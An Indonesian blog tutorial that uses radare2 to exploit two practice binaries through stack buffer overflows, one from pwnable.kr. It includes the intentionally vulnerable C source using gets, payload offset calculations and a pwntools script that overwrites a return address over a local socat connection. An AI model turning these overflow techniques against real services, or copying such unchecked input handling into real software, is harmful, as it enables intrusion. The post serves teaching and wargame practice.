Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Thursday 19 April 2018

Radare 2 : Simple Buffer Overflow

Melanjutkan seri radare2 yang sempat ditulis pada artikel sebelumnya, kali ini akan membahas penggunaan radare2 untuk mengexploitasi kelemahan buffer overflow. Di tahun sebelumnya, ada artikel yang membahas tentang teori buffer overflow, namun pada saat itu masih menggunakan gdb, artikelnya dapat dibaca disini [mengenal buffer overflow].

Untuk tulisan kali ini binary yang dipakai berasal dari pwnable.kr dan binary lain, dapat didownload di github kami,
  1. bof
  2. bof.c (source) 
  3. remote

32bit

Pada bof.c, terdapat fungsi yang vulnerable terhadap buffer overflow, yaitu gets. Input (key) akan dibandingkan dengan nilai 0xcafebabe, jika benar, maka akan menjalankan /bin/sh. Goalnya adalah memanipulasi nilai key menjadi '0xcafebabe' dengan memanfaatkan buffer overflow.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme); // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}

Pada bof.c, terdapat fungsi yang vulnerable terhadap buffer overflow, yaitu gets. Input (key) akan dibandingkan dengan nilai 0xcafebabe, jika benar, maka akan menjalankan /bin/sh.


Mencari Posisi 0xdeadbeef pada stack



Analyze (aaa) kemudian list function yang ada pada bof (afl).



Lanjut dengan, dissassembly main function (pdf@main).


Terlihat, pada fungsi main, terdapat fungsi lain yang dipanggil, yaitu sym.func. Pada source yang disertakan fungsi func disertakan juga nilai key = 0xdeadbeef. Untuk menentukan breakpoint yang tepat, dissassembly sym.func (pdf@sym.func).


Pasang breakpoint pada alamat 0x565cd654 (db 0x565cd654). Posisi ini ideal karena pada alamat ini instruksi cmp dijalankan.


Lanjutkan debugger menuju breakpoint yang telah dipasang (dc).



Pada posisi ini, cek isi top stack (pxw @esp) akan terlihat jelas posisi buffer dan ledak dari 0xdeadbeef yang akan timpa oleh nilai 0xcafebabe.


Dapat dilihat, bahwa input yang kita berikan tampil dekat dengan 0xdeadbeef, silahkan discroll lagi keatas untuk melihat source code dari bof.c. Besar dari buffer adalah 32, sementara masih tersisa beberapa byte lagi untuk sampai ke 0xdeadbeef.



Maka payload yang dibuat sebesar 32 + 20 + 0xcafebabe.

Scripting

Sebenarnya penyelesaian dengan one liner python bisa saja dilakukan, contohnya seperti ini.



 Tetapi, kali ini akan ada tambahan ngode dengan menggunakan pwntools.





64bit

Untuk kasus yang kedua ini sedikit berbeda dengan yang pertama, exploitasi dilakukan dengan menimpa return address memanfaatkan buffer yang tidak diproteksi.



Ada beberapa fungsi selain fungsi main, yaitu fungsi simulasi dan nono. Setelah ditelusuri, ternyata fungsi simulasi tidak dipanggil, baik di fungsi main maupun nono.




Fungsi simulasi ternyata dapat mencetak flag.txt menggunakan system().Fungsi ini dapat dimanfaatkan untuk mengalihkan return address untuk mencetak flagnya.



Breakpoint dipasang pada alamat 0x004005c4 (db 0x004005c4) untuk mengamati stack setelah fungsi read.



Untuk mencapai return address, terdapat beberapa byte setelah buffer, termasuk rbp yang disimpan. Perhitungannya 17*8 = 136, untuk payload yang dibuat kira-kira menjadi 136+8 byte(address fungsi simulasi).



Sementara solusi yang melalui network dapat dibuat lagi menggunakan pwntools, aktifkan socat untuk simulasi menggunakan jaringan localhost.

root@xd:~/Downloads# socat tcp-listen:8000,reuseaddr,fork exec:./remote

Isi remote.py
from pwn import *
r = remote('127.0.0.1',8000)
simulasiaddr = p64(0x00400596)
payload = 'A'*136
print simulasiaddr
print r.recv()
r.sendline(payload+simulasiaddr)
print r.recv()



Sekian artikel sederhana ini kami buat, memang masih banyak kekurangan yang harus diperbaiki, kritik dan saran silahkan disampaikan di kolom komentar.
5 λ .: April 2018 Melanjutkan seri radare2 yang sempat ditulis pada artikel sebelumnya, kali ini akan membahas penggunaan radare2 untuk mengexploitasi kelemah...
< >